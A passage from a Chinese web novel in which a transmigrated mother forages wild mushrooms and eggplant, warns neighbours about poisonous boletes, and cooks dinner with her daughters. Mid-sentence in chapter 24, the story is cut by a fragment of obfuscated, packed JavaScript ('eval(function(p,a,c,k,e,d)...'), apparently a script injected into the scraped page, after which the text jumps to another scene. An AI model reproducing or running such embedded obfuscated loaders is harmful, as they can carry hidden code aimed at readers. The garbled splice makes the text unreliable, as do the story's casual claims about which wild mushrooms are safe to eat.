她兴冲冲跳下车,想采点回去炒鸡蛋包包子。 木棍一扫,惊走蛇虫鼠蚁,倒意外找到了零星散落的鸡腿菇。 沿着鸡腿菇生长痕迹眺望,哗啦啦的溪流对岸,布满苔藓的混交林里,密密麻麻的牛肝菌、珊瑚菌、榛蘑,个个又肥又大。 这片林子多是橡树、山毛榉、松树、云杉、白桦、桤木等混种,共生菌菇丰富多样。 正是蘑菇泛滥的季节,两场雨后,一眼望去,就跟捅了蘑菇窝似的。 采回去做成菌菇酱、晒菌菇干,够她们吃一整个冬天。 漫山遍野的宝,这趟进山算来对了。 尤兰达挽起罩裙袖子,双眼冒出绿光。 捡菌子咯! 24.第 24 章 尤兰达像掉进米缸的老鼠,乐疯了。 她找了棵树拴住大G,背上背篓拎起藤篮,招呼菲奥娜跟来帮忙。 菲奥娜颠颠儿跑来,一脸茫然:“帮什么忙?” 四下里除了草还是草,没见着有什么东西。 “有树枝捡树枝,遇到粗树干叫妈妈帮忙。找不到树枝就采这种宽叶子草。 它叫鹿耳韭,可以做出非常美味的食物。”尤兰达蹲下薅了一把宽叶子,教她怎么认、怎么摘。 菲奥娜碎碎念,采野草算怎么个事啊。 她想撂挑子不干,一听说可以做成好吃的东西,嫌弃表情收敛,二话不说跟着学。 尤兰达指着四周一大片圈了个位置:“你就在这里采鹿耳韭,别跑远,有事情大声呼喊,我能听见,护林员在林子里巡逻,听到声音也会赶来。” “采嫩的叶子,老的不好吃。采好的叶子叠整齐铺进筐子里,折坏了影响口感。 捡来的树枝堆车上,松球装另一边筐子里,注意平衡一下两边重量……” 菲奥娜点头如捣蒜。 采鹿耳韭,和野外采花差不多,不难。 捡树枝和松球,能弯腰就能做到,也不难。 “放心吧妈妈,我能做到。”菲奥娜拍着胸脯保证。 尤兰达见状,又提醒她记得先拿木棍扫一扫草丛,惊走里头藏着的小动物,免得被咬。 然后带上砍刀和铲子离开。 她没走远,直奔附近的几丛鸡腿菇。 鸡腿菇白白胖胖,散落在草地里,徒手就能掰断,三两下工夫便装满了篮子。 她把背篓搁在旁边,采满一篮倒一篮进去,再起身去找下一丛。 采着采着,不知不觉走偏了方向,等她想起自己还打算去河对岸看看,刚直起腰,一阵微风吹过,伏低的草叶间,现出一片深藏的灿黄。 尤兰达一喜,几步绕过老杉树,跨过土沟扒开草丛。 黄灿灿的,大朵大朵挨挨挤挤,果然是鸡油菌。 尤兰达都震惊了,这也太多了吧! 她哪还舍得离开,鸡腿菇一股脑倒进背篓,转身回来专心采鸡油菌。 一手采一把,一会就采了两手握不拢的量,尤兰达合理怀疑,卖山货的小贩肯定偷懒了,瞧这一群群的,简直泛滥成灾。 她想起小时候跟爷爷奶奶上山,常常走上半天才能发现一两丛,采蘑菇的人太多,两老一弱的组合根本抢不过别人。 眼前这一大片,安安静静长着,没人和她抢。 篮子采满了倒进背篓,背篓装满了送去箩筐,一趟趟跑下来,母女俩的收获肉眼可见地堆了起来。 她抽空瞅两眼:野韭菜小半筐,鸡腿菇大半筐,鸡油菌差不多半筐的样子。 尤兰达估摸了下,半上午的时间,装满六个箩筐不在话下。 菲奥娜正巧来送新一篮野韭菜,望着几筐蘑菇,心惊胆战。 “妈,户长说不能随便采蘑菇,会死人的。” 吃毒蘑菇会死人,这是小孩子都知道的生活常识,大家绷紧了皮,不敢随便吃更不敢采摘不熟悉的菌类。 尤兰达从筐子里各挑出一种递去,“看,这叫黄鸡油菌,杆子细细的,颜色亮亮的,伞盖一点点大。最喜欢长在湿润的地方,一发现就是一群。” “这种褐色的也叫鸡油菌,伞盖颜色深,喜欢长在杉木附近。” “喏,这种是最常见的鸡油菌,我们在集市上见过的,杏黄的颜色多漂亮啊,伞盖很特别,像不像裙摆花边?” “白色的不常见,叫鸡腿菇,看它造型,是不是和鸡腿一个样?这种也能吃,无毒的。” 菲奥娜不觉得它们有什么区别,在她眼里,只分好看和不好看。 听尤兰达一通头头是道的讲解,一样一样指给她看哪些能吃、哪些不能,她心里九分怀疑不知不觉去掉一半。 “看那边,是不是有一丛橙红的蘑菇?它叫红孔牛肝菌,那才是毒蘑菇,吃完躺板板。” 顺着尤兰达手臂所指方向望去,菲奥娜果真找到一丛颜色鲜亮的蘑菇。 她后怕不已,前不久捡柴的时候路过几次,她差点就用手碰了。 尤兰达再三提醒:“牛肝菌品种多样不容易分辨,你别采蘑菇,我来。” “不采就不采,我可不敢碰。”菲奥娜双手藏背后,要不是老母亲吩咐,她连野韭菜都不想碰,“妈,我看到那棵大松树后面有倒下的树干,我拖不动。” 尤兰达掂起斧头走去,菲奥娜紧跟上去为她引路。 两人身影走远,不一会,五六位夫人结伴走向十几米外的红孔牛肝菌丛。 “莉亚~快看啊,有牛肝菌,这和我昨天从汉斯手里买来的一样。” “你确定吗?我实在分不清牛肝菌的种类,它们都不太好看。” “当然,亲爱的,相信我。”瘦高的金发夫人自信昂头,率先采摘起蘑菇。 “我只摘三个,够煮今晚的麦粥就好。”蓝裙子夫人迟疑蹲下。 系着灰麻围裙的夫人见状,也放下篮子,轻扒湿润绿苔。 缓坡之下,母女俩合力把倒下的树干分成小段,一段一段运回车上。 捡完枯木,尤兰达安排菲奥娜留守原地,看住大G和木柴,自己去对岸。 溪流蜿蜒,一根横跨水面的粗壮枯木成了天然的桥,从上面蹭掉的青苔痕迹不难分辨,前面有不少人走过。 小溪不算宽,但因刚下过雨,水流略急。 她踩上树干一点点挪过去,一跳到岸边碎石堆,进入林间,仿佛闯入了童话森林。 满地的青苔,厚得像铺了一层绒毯。一丛丛壮硕大蘑菇从苔藓里冒出来,可可爱爱。树上垂挂着沾了雨水的松萝,风一吹,晃晃悠悠荡着,水滴淅沥。 抬眼眺望,远处坡地杵着几棵粗壮的杉木,瞧着三四个人手拉手都抱不住,泥土里延伸出来的树根比她大腿还粗。 搁现代,这一片怎么也算原始森林了。 尤兰达只恨自己不能掏手机拍个视频留念,欣赏好一会,放下背篓,摩拳擦掌准备进货。 别说,除了弯腰下蹲有点累,采菌子可太解压了。 虽然她现在没什么压力。 不到半小时,背篓装满牛肝菌和榛蘑,手里捧着两棵新发现的大蘑菇无处安放。 “嘿,夫人,你不要命了吗?小心蘑菇有毒。” 尤兰达瞄见不远处的枯木有大丛大丛黑亮的东西反光,形似黑木耳,才想去前面探探,身侧方向传来呼喊。 扭头一看,巧了,是小红帽的妈妈,海伦夫人。 她篮子里装着羊角芹,还有一小捧鸡油菌,一脚深一脚浅地踩着苔藓走过来。 “谢谢你海伦夫人,不过我认识它们,不会出事的。”尤兰达感谢她的好意提醒。 “亲爱的,我知道你无法拒绝它们,我也不能,不过你该更小心点。”海伦夫人一脸不赞同,频频瞄向尤兰达手里的黑蘑菇。 尤兰达垂眸,顿时了然。 黑熊掌菌,一种当地人不吃的蘑菇。他们不确定有没有毒,索性就绕着走,碰都不碰。 “海伦夫人,这是黑熊掌菌,我认识它,我确定它没有毒。 在搬来皇城之前,我见邻居家吃过它们,很美味的一种蘑菇。” 尤兰达语气笃定,海伦夫人将信将疑看她一眼,到底没多说什么。 “好吧,或许是你们镇子上的农夫更厉害。” 海伦夫人冲她微微笑,转身去了另一边。 尤兰达等人走远,径直迈步走向一根冲天翘起的枯木。 离枯木几米远的时候,她已经能确定,确实是她认识的黑木耳。 尤兰达直呼自己运气好。 天然野生黑木耳,一种看似老实巴交、纯朴憨厚、黑不溜秋的菌菇,实际心眼子贼多。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人蹲在溪边,撩起清凉溪水搓洗手上泥土和菌菇汁液。 尤兰达闲不住,往上游下游方向张望,没想到溪边还挺热闹,成群结队的人洗手洗脚,看来大家上午都挺忙。 终于有机会和妈妈坐下来说话,菲奥娜连连诉苦: “妈,我腰快断了……”“妈,那个野韭菜采得我手酸了……”“妈,你不知道我捡了多少松球……” 尤兰达笑眯眯听她念叨。 直到拆开麻布包,看见里头码放整齐的馅饼糖饼,她才闭上嘴。 惦记一上午的饼子,可算吃进嘴里了。 “嚼嚼嚼……妈,你做的卷心菜馅饼怎么和外面的不一样?好好吃啊。”菲奥娜又抓起一块糖饼咬了一大口,“妈,你好厉害,怎么做出来糖饼的?甜甜……” “呱呱呱!”略显聒噪的蛙叫打断了她。 尤兰达和菲奥娜齐齐低头,一只肥嘟嘟的绿青蛙蹲在溪边的石头上,喉部一鼓一鼓。 菲奥娜愣了一会,分辨片刻,蓝眼睛怒瞪:“噢——臭青蛙,你怎么又来了!快走吧,别跟着我。” 青蛙一动不动:“呱。” 菲奥娜鼓起腮帮子,凶巴巴吓唬它:“我妈妈超凶,她会踩死你。” “呱呱呱呱呱!” 青蛙转了转头,露出极其人性化的委屈表情,叫得又急又响。 尤兰达懵了,“不是,你俩怎么聊起来的?” 菲奥娜扭头告状,絮絮叨叨说起缘由:“妈,这只臭青蛙能听懂我的话,它还跟着我,怎么赶都赶不走。” 她采了一上午野韭菜,回过神发现身后不远不近蹲了只青蛙。 她故意跑远,东一圈西一圈,一圈又一圈,青蛙锲而不舍跟在身后,阴魂不散似的。 本来不怎么怕青蛙的菲奥娜心里直发毛,挥舞树枝赶它走,圆鼓鼓的蛙眼却露出祈求神色。 菲奥娜一怔,差点以为见幽灵了,立即威胁要踩死它,青蛙这才一蹦一回头,呱呱呱躲远。 结果倒好,以为摆脱了它,吃着午饭呢,臭青蛙又跟了来。 尤兰达盯着青蛙瞅了一眼又一眼,面色古怪。 是正经青蛙吗? 25.第 25 章 众所周知,童话世界的森林从不缺奇遇。 女巫、猎人、地精,长居山林,国王、公主、王子,最喜欢钻树林。 通人性的青蛙……不怪她多想,听起来就不正常,十有八九人变的。 但尤兰达没证据。 “或许只是饿了吧。” 她随口胡诌,脑子里却在想:要不找个大方的邻居,和青蛙嗦个嘴子试试? 菲奥娜当真了,护住手里的饼子,骂道:“嗷!坏心眼的青蛙,原来是想吃我的馅饼。” 她当着青蛙面,啊呜一口塞进嘴里,宁愿噎着自己也不让青蛙占便宜。 青蛙一动不动,瞪着眼睛直勾勾瞅着两人。 尤兰达幽幽开口:“要不,我们抓住它吧?” 菲奥娜看向她,眨着蓝汪汪的大眼睛。 尤兰达:“小青蛙生来是被人吃的,它的大腿肉最嫩、最香、最有价值。不用特别复杂,剥皮后剁成小块,爆炒、干锅、椒盐、水煮……” “呱呱!呱呱呱!呱!” 小青蛙一顿狂呱,惊悚万分的倒腾四条腿,头也不回扎进草丛里。 “妈,我们什么时候吃青蛙?”菲奥娜盯着青蛙消失的方向,直舔嘴唇。 尤兰达笑得温柔核善:“等它下次再敢惦记你馅饼的时候。” 小青蛙果然能听懂人话,瞧它骂得多脏啊。 “留两块饼,下午累了吃,你继续守着马,我去附近砍柴。”尤兰达三两口解决午饭,灌一口苹果水,拍拍裙摆起身。 菲奥娜咂咂嘴,念念不舍收起最后一块糖饼。麻布刚包好,她就开始怀念它甜滋滋的味道。 大概是上午采蘑菇用光了她们的好运气,下午两人重点找木柴时,已经没几个漏可捡。 她们望着车上一双手数得过来的枯木段,陷入羞窘的沉默。 菲奥娜坚定道:“一定是被其他人先捡走了。” 尤兰达挠挠头,稍显尴尬。 一捡起菌子就发了狠忘了情,忘记遍地菌子没人要,下午捡也一样,人人争抢的木柴才应该第一时间划拉到自己车上。 “咳咳,菌子多好啊,可贵了。以后做小鸡炖蘑菇,香死个人。”她安慰菲奥娜,也是安慰自己。 菲奥娜一点不担心:“捡柴太累了,我们可以找大约翰买柴吧。” 尤兰达附和点头,“这主意真不错,有钱什么买不到啊,是不是? 大不了回去多买几斤煤,咱们一次性搓它几百个煤球,还怕冬天过不下去?” 一听又要搓蜂窝煤,菲奥娜立即垮下小脸。 尤兰达揽住她肩膀哄道:“那时候我们就聘得起杂役了,用不着你出力,傻孩子。” 菲奥娜这才缓了缓神色,念叨一句“上帝保佑”。 离第九时祷还早,这时候折回去太浪费机会,尤兰达见附近实在无柴可捡,干脆放开手脚多捡点菌子。 前面担心珊瑚菌太重太占地方,一直没敢捡太多,这会敞开了,见一个带走一个,来者不拒。 菲奥娜想偷会懒,刚坐下没两分钟,就被尤兰达抓个正着,催着去摘野韭菜。 尤兰达使劲诱惑:“野韭菜做鸡蛋韭菜馅的包子香着呢。你要不爱吃包子,韭菜盒子、韭菜饺子、炒韭菜、烤韭菜多着呢,你就吃去吧,一星期不重样。” 菲奥娜受不了老母亲的念叨,连连告饶,老实干活。 尤兰达笑了一会,去路边摘随处可见的鲁冰花,蓝的紫的粉的各折几支,回去带给西芙拉。 菲奥娜那张嘴,回去少不了和姐姐炫耀,折几支花带给她,就当是端水了。 摘满一篮子,尤兰达准备离开,走出去两步硬生生顿住。 什么宝藏森林啊,她居然发现了野生茄子。 无人打理的纯野生,虽然形状不算太好看,但她绝对不会认错。 妙啊,原来它长在野外了。 尤兰达逛了几天市集,没见过类似茄子的食材,差点以为黑森王国没这玩意。 她一点不客气,快步冲过去,一股脑掐走上面挂的四根短茄子。 “妈!你快扔掉它,那是所多玛,有毒。” 尤兰达正埋头整理篮子,刚把茄子塞严实,菲奥娜惊恐的呼声倏地炸开。 “所多玛?” 尤兰达吓一激灵,低头看了看篮子里歪扭的紫皮茄子,抬头看向菲奥娜写满担忧的小脸,低声重复。 “对,所多玛!”菲奥娜直跺脚,“妈妈你忘了吗?它有毒,吃了会死人。” 尤兰达恍然大悟,终于把茄子和记忆里的所多玛对上号。 原主的记忆深深刻着时代烙印,对身边万事万物,都带有本地人根深蒂固的主观认知与滤镜。 譬如她们栖身的酒馆,原主印象里狭窄破旧、不宜居住,可尤兰达踏足后发现,这里非但不狭窄,也不如记忆中破败。 再如她们从前爱吃的烤羊腿,原主滤镜百米厚,记忆里喷香诱人,是天下第一美味的食物。 然而现实情况,烤羊腿血水滋啦,腥膻刺鼻,难以下咽。 茄子也如此。 原身记忆里,关于所多玛的印象非常扭曲,它们“不可触碰”“罪恶”“有毒”,以至于连茄子的紫皮在原身看来都相当“恶心”。 实际上嘛,它冤枉得很,就一做地三鲜、风味茄子、肉沫茄子的正经茄。 所多玛,全称为所多玛苹果,意思是“罪恶的产物”“不虔诚的果实”,代指所有当地人认为的有毒、美丽、诱人的物种。 不止茄子,什么野葫芦、苦瓜,包括大多茄科植物,通通归进所多玛名下,一棍子打死。 她手里的所多玛茄子,在当地尚未开发出食用功能。 世人眼中,它们好看,但没用,诱人,但有罪,通常种在贵族花园里观赏。 “谁告诉你吃了会死人?” 菲奥娜愣了愣:“都、都这么说啊。” 尤兰达没急着解释,放下篮子,拎起一根茄子,在菲奥娜面前晃了晃。 “太遗憾了,他们不知道自己错过了什么。”她掰下一小块,直接塞进嘴里。 菲奥娜爆发出短促尖叫,整个人僵在原地,不知所措。 “上帝啊,妈妈,你疯了吗?这是所多——” “没死,你看,我还活着。”尤兰达活动胳膊腿,证明自己还在呼吸。 菲奥娜张着嘴,半天说不出话。 她的三观受到了冲击,神情一片空白。 妈妈找到了所多玛。 妈妈吃了所多玛。 妈妈……没死! 尤兰达擦了擦手,慢条斯理开口:“黑森王国没人吃它,是因为没人告诉大家这东西能吃。” “在别的地方,比如往南走翻过几座山有几个国家,人家拿它当菜,炸着吃、烤着吃、炒着吃,跟肉一起煮着吃。” 可惜,她找到的是没经过科学家优化的过时品种,皮有点厚,口感比她吃过的茄子差远了。 尤兰达把掰过的茄子塞回篮子,“它们叫茄子,不知道怎么,传着传着就传成了‘有毒’。” 菲奥娜眼睛瞪得溜圆,一会儿看看茄子,一会儿看看尤兰达,像在确认她到底是不是因为中毒才开始说胡话。 尤兰达忍俊不禁,揉一把她溜圆的后脑勺:“别瞪了,回家给你做一顿,你就知道谁说的是真的了。” 菲奥娜咽了口唾沫,抗拒意味明明白白写脸上。 就算它没毒,可长这么丑,能好吃到哪去? 接下来,菲奥娜一边摘野韭菜,一边时刻关注尤兰达的状态。 她太怕妈妈趁她不注意偷偷死掉了。 尤兰达被她盯的汗毛直竖,第九时祷钟声一响,她拍拍屁股从蒿草堆里爬起。 “走,咱们回家。” 她跳上板车,伸手把菲奥娜也拽上来,一抖缰绳,大G慢悠悠往山下晃。 说“下山”都算给母女俩挽尊。 两人一整天绕着第一道山沟子打转,搁当地人眼里,只能算山林外围。 所谓的下山,相当于坐一趟滑滑梯,连下坡都算不上。 她们来的不早不晚,山林边缘已经围聚不少居民,极其缓慢的速度向外挪。 尤兰达钻出队伍一瞧,原来前头设立了关卡,护林员为大家“安检”呢。 她嘱咐菲奥娜看好东西,自己凑上前去看热闹。 这一凑才知道,护林员专门堵人,检查大家捡来的木柴和猎到的猎物。 查什么呢? 尤兰达盯了大半天,终于弄明白了。 他们查猎物疏松,不是孔雀、老虎、鹿之类的,一概不管。 查木柴最严格,他们看木柴的截断面和树皮部分,一旦查出疑似从活树上现砍下来的,二话不说没收木柴,收取罚金。 皇室划分出公共林区,允许居民捡柴火、打猎、获取山货,唯独砍伐活树的行为绝对禁止。 砍活树一是影响树木茁壮生长,二是侵犯领主的利益。 秋冬时节来临,护林员们会砍掉树木上的枝叉,好让树木来年长得更茂盛,而砍下的部分,则运出去做木柴生意。 据原身所知,领主们光是靠冬季售卖木柴,进账就能达到100枚金币。而拥有更多山林的大领主,赚得只多不少。 领主们为了维护自己的财产,可不严防死守,听说有的领地,连猎户打了野兔都要交税。 尤兰达望了望后面越来越长的队伍,羡慕得眼睛通红。 人家才是上山进货呢。 瞧瞧他们,身上背着柴,手里提着滴水的鱼,蹬腿的兔子栓腰上,扑腾的野鸡挂柴上,青壮年几乎个个如此。 再说妇人们,她们也不差。 背篓里各种野菜,鸡油菌只一小丛,不知道哪来的鸭蛋鹅蛋鸟蛋,小心放在中央,篮子里更是堆了五花八门的野果子。 尤兰达瞅了瞅,除了常见的浆果,有不少野苹果、野梨子、欧楂、山茱萸等。 她们呢?满车的菌菇格格不入。 尤兰达心里不得劲。 嗐,眼皮子浅了。 下次进山,她也要打猎! 她挤过人群回到队伍里,没等靠近,就见许多人围着她的板车,窃窃私语。 尤兰达心里一咯噔,以为出事了,走近后听清大家的说话声,舒了一口气。 “大胆的女孩,你应该谨慎点,森林里的蘑菇不全都能吃的。” “天呐,你只有这点木柴?” “你的家人呢?只有你上山吗?” 大家七嘴八舌,告诫落单的菲奥娜,谨慎采摘陌生菌菇。目光扫到板车上的几根枯木,又怜悯又无奈。 真是个傻子,怎么光采菌菇了。 小傻子菲奥娜脸色忽青忽白,大傻子尤兰达局促不已。 她走进包围圈,嘴硬:“感谢夫人们关心,我们家更需要菌菇,幸好我知道一点采蘑菇的技巧。” 夫人们仍是一脸不认可。 放着木柴不捡,去捡没什么用、还可能有毒的蘑菇,太不明智了。 “太多了,山下的小贩都没你们手上的多。你们愿意卖一点给我吗?”有夫人好奇追问。 她探着脖子看了看车上箩筐,鸡油菌的金、牛肝菌的褐、榛蘑的蜜黄,混在一起数量着实不少,看着就喜人。 尤兰达张了张唇,想说不卖。 “噢~你疯了吗?”身侧插进来一道声音,“街上多的是卖菌菇的小贩,他们可是从老农户手里买来的菌菇。” 插话的夫人上下扫量尤兰达,那眼神,就差直说她的菌菇有毒了。 提出买菌菇的夫人瞬间冷静,迟疑后退,再不提买菌菇的事。 旁边几个原本想拿东西换点菌菇的夫人,也收回了心思。 “小姑娘,听我一句劝,”裹着杏色头巾的胖夫人凑近,指着黑木耳摇头,“这东西我们从来不吃的。” “对对对,”瘦高的金发夫人连声附和,“旁边几个黑黑大大的,我们从没在市集见过,你也敢采?” 菲奥娜脸都白了,下意识往尤兰达身边靠了靠。 尤兰达扯出礼貌微笑:“我们吃过它,很确定它们没毒。” 瘦高夫人见她冥顽不灵,摇着头叹气,直念叨“上帝”,似是不忍见她们被毒死。 “傲慢的夫人,你会为自己的自大付出代 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“这真是……”艾米丽唉了一声,抬脚离开。 她这一转身,露出一直被胳膊挡住的篮子,里面七八朵橙红、灰白的蘑菇,东倒西歪。 尤兰达随意抬眼扫过,目光倏地定住。 她不确定的多看两眼后,心猛地一沉。 好家伙,红孔牛肝菌、魔鬼牛肝菌、兰茂牛肝菌,净挑毒蘑菇采,一朵比一朵毒。 “等等,艾米丽夫人,你篮子里的蘑菇有毒,不能吃。” 眼看艾米丽要走出人群,尤兰达嘴比脑子快,拔高声音喊住了她。 话音落下,苏珊和艾米丽齐齐扭身回头,周边未散去的夫人也一同停下脚步,齐刷刷侧身回望过来。 然后,人群爆发出一阵震天哄笑。 “天呐,富商夫人在教我们认毒蘑菇。” “艾米丽,你是不是吓死了?富商夫人说你的蘑菇有毒。” “夫人恐怕吃多了培根和肉肠,分辨不出蘑菇了吧?” 苏珊夸张的捂肚子笑了一会,才搭腔:“得了吧,我们经常采蘑菇,绝对不会认错。倒是你,费尔南多,关心关心你自己的蘑菇吧。” 嘲笑过后,众位夫人打算离去,前面的队伍在缩短,快到她们了。 尤兰达径直迈步上前,拦住艾米丽。 “橙红色的叫红孔牛肝菌,有毒,和酒同吃,连上帝都救不了。 灰色的叫魔鬼牛肝菌,也有毒,它的气味就是撒旦的警告。 艾米丽夫人,谢谢你先前对我和女儿们的关心,做为感谢,我不得不提醒你。 如果你愿意相信我,把它们都倒了吧。” 她没有回怼、没有争辩,一字一句清清楚楚,严肃郑重的看着艾米丽。 人群里,笑声渐渐收了,不少夫人心里开始打鼓。 红孔牛肝菌的名字她们没听过,魔鬼牛肝菌的大名无人不知,小贩总说它有多难区分,趁此给能吃的牛肝菌抬价。 难不成……她真的懂? 艾米丽扶住篮子沿,指节泛白。 她实在不知道该不该相信尤兰达。 苏珊一把拽过艾米丽的胳膊,用力扯到自己身后,话音带刺:“你吓着艾米丽了。费尔南多夫人,管好你自己,你那满车的毒蘑菇还没处理呢。” 旁边几位夫人交换着眼神,小声嘀咕起来: “自己落魄了,就见不得别人吃点好的?” “说实话,我相信艾米丽。我们经常一起上山,不是吗?” “就是,她要真采了毒蘑菇,早出事了好吧。” 人群渐渐散开,往山下挪动。 被苏珊拽得直踉跄的艾米丽夫人,心不在焉回应大家的安慰,等没人注意时,她忍不住回头望去。 尤兰达站在原地,看她们三三两两通过安检,走过关卡。 她叹了口气,算了,已经提醒过了,没人信不是她的错。 护林员这时放下车板上的枯木段,挥挥手:“没问题夫人,可以离开了。不过我得说,你们是所有人中收获最少的,我保证。” 尤兰达默了默,怎么连护林员都要贴脸开大啊。 离开山林外缘,踏入矮人巷巷尾,巷道两边格外热闹,挤满交换物资的居民。 有人用木柴换兔子,有人用鸭蛋换鲈鱼,还有人用浆果换松球,摆摊卖木柴、野鸡、野兔的多不胜数。 “夫人,要买兔子吗?今天刚抓的,十个铜币就好,比集市上便宜多了。”十二三岁的小孩来到车前,提着兔耳朵晃了晃。 尤兰达略有犹豫,七八斤的兔子,太瘦了。 “我要两只,一公一母,有吗?” 小孩愣了一会,“有的有的,夫人等我一会。”他拔腿往回跑拿兔子。 一旁游荡的小贩见她出手爽快,也抱着野鸭推销:“夫人,看看我的野鸭,下午才抓的,我只要二十铜币。” 野鸭瘦瘦小小,耷拉着脑袋,一副要死不活的样子,尤兰达摆摆手,婉拒了。 她跳下车,拎起背篓钻进人群,加入居民们的交易。 一斤鸡油菌换二十个梨子,一斤榛蘑换三十多个苹果,来回几趟,尤兰达脸上笑容越来越盛。 菲奥娜皱眉:“妈,野梨子不好吃。” 尤兰达将换来的梨子苹果堆进野韭菜筐里,头也不抬的说:“不吃的,妈妈要用它做泡菜。” 菲奥娜挠着头回忆一会,确定自己没有吃过所谓的泡菜。 “妈妈妈妈,泡菜是什么味?”她眨巴眼睛,兴奋搓手。 尤兰达敷衍:“当然是泡菜味啊。” 装好梨子苹果,送兔子的小孩跑了过来,尤兰达摸出二十枚铜币递过去,拎起兔子往菲奥娜怀里一丢。 菲奥娜手忙脚乱地接住,摸着柔顺白毛,心花怒放:“兔兔真可爱,我要给它做蕾丝裙——” “你想吃烤全兔吗?或者尝尝风干兔?”尤兰达吸溜口水,拿不定主意。 菲奥娜一呆:“……啊?” 26.第 26 章 尤兰达既想吃烤兔子,也想吃风干兔,还想吃兔肉火锅。 于是,两只兔子幸运的逃过一劫。 兔子繁殖力惊人,带回家好好养,用不了多久就过剩了,到时候想怎么吃怎么吃。 吃一只兔子还是吃一窝兔子,她分得清轻重。 两人驾马穿过集市,顺道买了一篮子大蒜、几罐果醋果汁,以及一个藤编笼子,满载而归。 车马拉进棚子里时,夕阳的余晖将天边染成浓郁的橘红,好一个朝九晚五的作息。 尤兰达利落跳下车,拎起笼子丢去柠檬树下,转身去菜园剥了几片老得不能吃的莴苣叶铺进去。 “小菲,别抱着兔子玩了,让它们进笼子里。”尤兰达喊了一嗓子,去井边打水洗手。 菲奥娜梳理着兔子背脊上柔软绒毛,摸够了摸爽了才将它们送进去。 来到陌生地方,两只小家伙惊魂未定,鼻子急促抽动,菲奥娜不忍心,多摘了几片嫩叶子喂去嘴边。 尤兰达抓了把草木灰搓手,抽空揶揄:“瞧你那稀罕劲儿,要不今晚就炖给你吃?” 菲奥娜俏脸一皱,扭头大声抗议:“妈妈!你简直是恶魔。” “我们讨论吃青蛙的时候,你可不是这么说的。” “青蛙哪里有兔子可爱?”菲奥娜理直气壮辩驳,撸了撸兔耳朵,“小可怜,多吃点,我会保护你的。” 尤兰达闷笑一声,不再逗她,扭头呼喊西芙拉出来帮忙。两人从日出采到日落,差点直不起腰,到家后恨不得立刻瘫着不动。 “对对对,西芙拉,快点来帮忙,”菲奥娜冲着屋内大喊,“我们采了太多蘑菇,车子都要压塌了,我一个人搬不动!” 片刻,木门“吱呀”一声拉开。 西芙拉姗姗来迟,垂头耷脑快步走到马车旁,一声不吭的配合妹妹搬箩筐。 菲奥娜捧出一把鲁冰花,献宝似的晃了晃,“看,漂亮吗?妈妈摘的,我们一人一半好不好?” 西芙拉抬眼看了看鲁冰花,眼珠子悄悄瞥向后侧方,正对上老母亲望来的视线。 她眼神慌乱地游移了一下,飞快飘回鲁冰花上,含糊应声,“当然,很漂亮,随你。” 尤兰达眯了眯眼。 不对劲,西芙拉竟然没有抱怨。 尤兰达沉吟几秒,调转脚步去前面的铺子查看。 杂木桌子沿墙摆放,凳子整齐架在桌面,等待打扫后重新归置。 她数了一遍,数量没问题。 折回厨房,新送来的土豆、番茄装满两大箩筐,份量和品质都没问题。 流理桌上,广口藤编篮湿漉漉,水渍漫上桌面,留下一滩深色印记,扒开层层包裹的海带,检查一番藏海带下面的生蚝,也没发现什么毛病。 尤兰达回到院中,怀疑目光不住往西芙拉身上扫。 孩子静悄悄,必定作过妖,到底作了什么妖,她还不得而知。 尤兰达暂且压下小心思,指挥两人搬菌菇,回起居室取来半匹粗麻布,对半裁成两块。 一块,铺在地窖地面,一块,铺在柴棚顶,新砍的湿柴沿着边角压实,以防被晚风吹跑。 准备工作就绪,尤兰达找来干净箩筐,又搬来两个矮凳,招手让女孩们坐下。 “先处理黑木耳,它们不算多。”她拿起一朵黑木耳,放慢动作演示:“看着,拍去附着在上面的浮土和枯叶,再丢去干净箩筐里,就这么简单。 千万不要想着洗它,弄完黑木耳记得叫我,我教你们怎么处理鸡腿菇。” 鲜菌过夜即坏,必须连夜处理,她们采了大约130斤品相完好的嫩菌菇,这一晚有的忙。 野韭菜也是个娇气的,虽说放一夜不伤人,但这东西离土即失香,过午便失嫩,从山珍到老野菜,只需一晚的时间,自然是越快越好。 两个小姑娘蔫蔫地耷拉着脑袋,不是已经采完菌菇了吗?怎么还有这么多活啊。 尤兰达提高声调抛出一句:“好好干,我去给你们做玉米排骨汤,保证你们没吃过。” 菲奥娜撅着嘴,满脸不乐意,西芙拉虽然也不乐意,但表现的不明显。 西芙拉果然不对劲。 尤兰达亲眼看着她们处理完几个黑木耳,手法倒也利落,放心回到厨房。 生蚝今晚是顾不上了,她抽出当垫布用的长海带,整篮生蚝收进空间。 至于海带,确实是个好东西,尤兰达没想到它会做为赠品出现。 黑森王国的人几乎不吃海带,大家嫌弃它有浓重的海味,沿海渔民会收集一些晒干当储备粮。 城里买海带难度大,买的人少,卖的人更少,像蚝郎那样采海带给海鲜当垫布盖布的才是大多数。 她掂了掂手里海带,脑筋飞转,盘算起晚饭。 一份凉拌海带丝,一份玉米排骨汤,再切几片白面包,主食主菜配菜都齐活了。 定好菜单,尤兰达手脚麻利的取下两根猪肋骨,剁成小块放进陶盆里,撒上粗麦粉。 黑森王国的猪肉不骚,但腥气重,估计和当地人杀猪放血的不到位有关。 怕猪腥味坏了她一锅汤,尤兰达搓洗时格外注意,麦粉搓一遍,冲洗两次,再搓一遍,再冲洗两次。 如此反复,等她捡起一块排骨嗅闻,气味果然清新许多。 泥炉生火,架上陶锅,洗净的排骨倒进锅,扔几片姜、几段蒜,水加到满,小火慢慢炖着。 趁这会间隙,海带扔进盆里搓洗几遍,洗去上面的海腥味和黏液,切成粗长条,加姜片一起泡进清水里。玉米剥去外衣和须,切成两指宽的小段,胡萝卜滚刀切,放一旁备用。 料理好配菜,另起一口泥炉烧热水,水开后加葱姜和海带一起焯水,4、5分钟便可出锅。 新鲜海带泡久一点更好,她达着急用,只好多放点大料压压味。 这边,海带刚捞出来沥水,另一边,锅里的排骨渐渐煨出香气,该下玉米和胡萝卜了。 好不容易排骨汤告一段落,没喘几口气,她又该忙活凉拌海带丝。 一半海带切成菱形,留着加进排骨汤里炖,剩下一半改切成细丝,堆进陶碗。 接下来是准备料汁。 昨天做好的辣椒面辣椒油派上了用场,两样都少放一点,加蒜末、葱花、欧芹叶,撒一撮盐、一大勺苹果醋,以及一小勺麦芽糖,搅拌均匀静置。 略等了两分钟,她心急地捏起一根海带丝送进嘴里。 别说,还真挺像那么回事。 “妈妈,我们该料理鸡腿菇了。”菲奥娜的呼喊从院子里传来。 